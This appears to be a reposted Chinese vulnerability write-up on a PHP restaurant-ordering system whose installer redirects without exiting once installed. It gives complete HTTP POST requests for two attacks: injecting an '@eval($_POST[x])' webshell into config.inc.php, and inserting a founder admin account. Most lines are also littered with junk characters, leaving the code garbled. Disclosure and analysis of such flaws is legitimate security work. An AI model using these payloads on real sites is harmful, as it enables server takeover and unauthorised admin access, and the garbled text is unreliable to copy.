问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。& K5 }7 y* W m' N X# }: N* i
1 d3 L, P( D- f+ G9 h$ D* C<?php+ Y8 N. z3 }- R
if(file_exists("../install.lock"))
* X. a, z5 [& E! q! \6 U{
4 K1 E; `2 ~# l- ~. S) ^ header("Location: ../");//没有退出8 k3 A( {( b) z+ ^2 J% M
}
) X6 }! z+ z+ T$ {+ {6 Q1 N & q9 t( h) z6 B. p- M6 H8 Z) ?
//echo 'tst';exit;% p) c# q9 @, w- h4 \
require_once("init.php");
+ R5 I- M- f U) M. |if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
, S2 Z: I; ~9 A' B$ W, ]- S \6 H{1 _, |& R: J8 y; ^) w
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
- l& y. W" u* n4 |5 m8 }# d+ I/ w; |- e
1、getshell(很危险)( V; d" x$ L* ?0 Q* d' Q m4 s; V
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
; l0 j! K' `$ T' Y1 _# Y{
/ Z; \+ D1 V0 E7 u2 [$smarty->assign("step",1);
% j8 G' I# P( F$smarty->display("index.html");
- [$ F) k/ _, Z( O& S: f}elseif($_REQUEST['step']==2)% Q9 r3 N7 X- C; V$ p, g9 ]
{! H1 ~9 `& y& J8 t+ R8 B
$mysql_host=trim($_POST['mysql_host']);
( e2 d5 o! `/ _" Y; _ $mysql_user=trim($_POST['mysql_user']);( v( A: ?' G, [, D/ ?" y* J+ p. Z
$mysql_pwd=trim($_POST['mysql_pwd']);
. r3 f: H- j4 q7 k. E $mysql_db=trim($_POST['mysql_db']);
6 r. X% T* o' H& M* N) w) | $tblpre=trim($_POST['tblpre']);
- m P% p" O% _# [: k $domain==trim($_POST['domain']);
, D9 \, ]% G. P0 d $str="<?php \r\n";
1 }6 P3 n( f1 I) G" U# G* R* o $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
$ S y! W# | k $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";- F* P- a) U( h2 S
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
2 u0 S, b$ x9 P7 g3 s $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";7 p# @7 |: X; L$ O5 d$ f+ M4 e: S
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";1 z) t6 z& P. J2 X- p7 X. E
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
0 I4 X& W1 _6 I* b% d $str.='define("DOMAIN","'.$domain.'");'."\r\n";
3 l) B) E" k8 O- C Q: N9 q% D; H $str.='define("SKINS","default");'."\r\n";
& Z0 k5 ^3 P, B7 @ $str.='?>';5 _% y' ^; y9 n7 W" w5 w
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
. M _: J6 N; c d% `上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马' D8 Z6 U6 Y+ F& q0 H( j7 m4 {9 `
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
2 | e# w- e8 B0 ~Host: 192.168.80.129
# d1 o; C M/ M0 Q8 v5 a5 rUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
* e/ Q J Z# j& rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
\! w: r0 q3 A3 w0 A* Q1 \Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
R, v: r w# D( p- wAccept-Encoding: gzip, deflate
2 f7 {$ j- Z" b9 i1 rReferer: http://192.168.80.129/canting/install/index.php?step=1
9 R" G0 t5 P+ ]" V) x; _Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
! l3 L) g7 w$ h) {; h+ HContent-Type: application/x-www-form-urlencoded* F8 X$ g: B; [7 A T# ?4 D; z1 ]4 B
Content-Length: 126$ y* k( W6 Q# t
. C4 U& ^$ _. @" q; bmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
; Y# n: i$ L. h# V- u3 e. Q* _但是这个方法很危险,将导致网站无法运行。& S5 }0 I6 S4 X ]' s3 d
. ~4 I6 ^2 c- @1 W7 B/ i6 v8 D2、直接添加管理员
0 ^+ x. h8 |# o' `! Z& ]2 v+ ?: r# G8 c- H- _# N) X
elseif($_REQUEST['step']==5)) J5 ]0 u8 G( A- l: w3 y
{
! V2 ]8 J6 E8 A: v2 T; j* C if($_POST)
+ o ?( w# C7 Y; p9 `* h3 Y { require_once("../config/config.inc.php");/ P/ b6 A1 ?! _9 M& a. v, y. @1 y0 w
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
- `4 Z# e- v$ {) Z mysql_select_db(MYSQL_DB,$link);7 O; k' l0 Q4 s$ ~( x- {; t4 o
mysql_query("SET NAMES ".MYSQL_CHARSET );
# ?4 H2 _1 \9 }& e3 o: H* O6 y mysql_query("SET sql_mode=''");
- C( g. }/ v8 B1 t J5 p6 ~
) Q" ]9 \7 a0 H) J $adminname=trim($_POST['adminname']);
0 p3 M% G! j! m7 U. d7 y9 c $pwd1=trim($_POST['pwd1']);
) A4 i: d7 E. a8 m" k0 E, ` $pwd2=trim($_POST['pwd2']);
% A7 t r v4 z! j3 q& E if(empty($adminname))- C4 k" x/ Q2 v: o/ B9 Q6 Z
{0 C Y- N; m. g0 B3 A
0 M6 h- y7 R! g8 i# }( o- |, B
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
4 V% J9 P) ]7 T exit();
" a5 e. Y6 E7 S }/ y8 p& z% O0 Z! p0 z( {% O+ }' @" V
if(($pwd1!=$pwd2) or empty($pwd1))
3 W* }! f6 v% P9 Z5 d. T) I% z+ s z {. S5 i# }# |" }6 v5 [+ j
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出7 R" P' m9 F% a s# s m
}
2 m+ l7 j0 W7 ]; y+ J mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
' W; k8 }& ]2 x1 K1 g$ q$ H1 ` }3 w' A+ {5 m* q* u7 u
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
0 ^" P+ `3 {3 V: YPOST /canting/install/index.php?m=index&step=5 HTTP/1.1
; P& g. t1 v0 M5 Z) n$ b! ]Host: 192.168.80.129
3 X. V; p* @4 A8 `! }User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
! S: u: C+ b& x. \1 qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
* A, i: Z0 a1 n& k1 r8 RAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
/ ?1 {0 r4 o& ^/ NAccept-Encoding: gzip, deflate! w6 K: O2 t- t4 F/ }9 Q* L
Referer: http://www.2cto.com /canting/install/index.php?step=17 P- ], {: P& L. P
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42, R& d" X% z& \' o+ Z6 U
Content-Type: application/x-www-form-urlencoded
$ R" B- o5 c5 \Content-Length: 46
) e+ `4 `2 P. _+ L( e k 4 Z* _0 _4 w7 }# b: V2 L8 x( B* q
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
`9 c! m5 L" F- i+ k# a |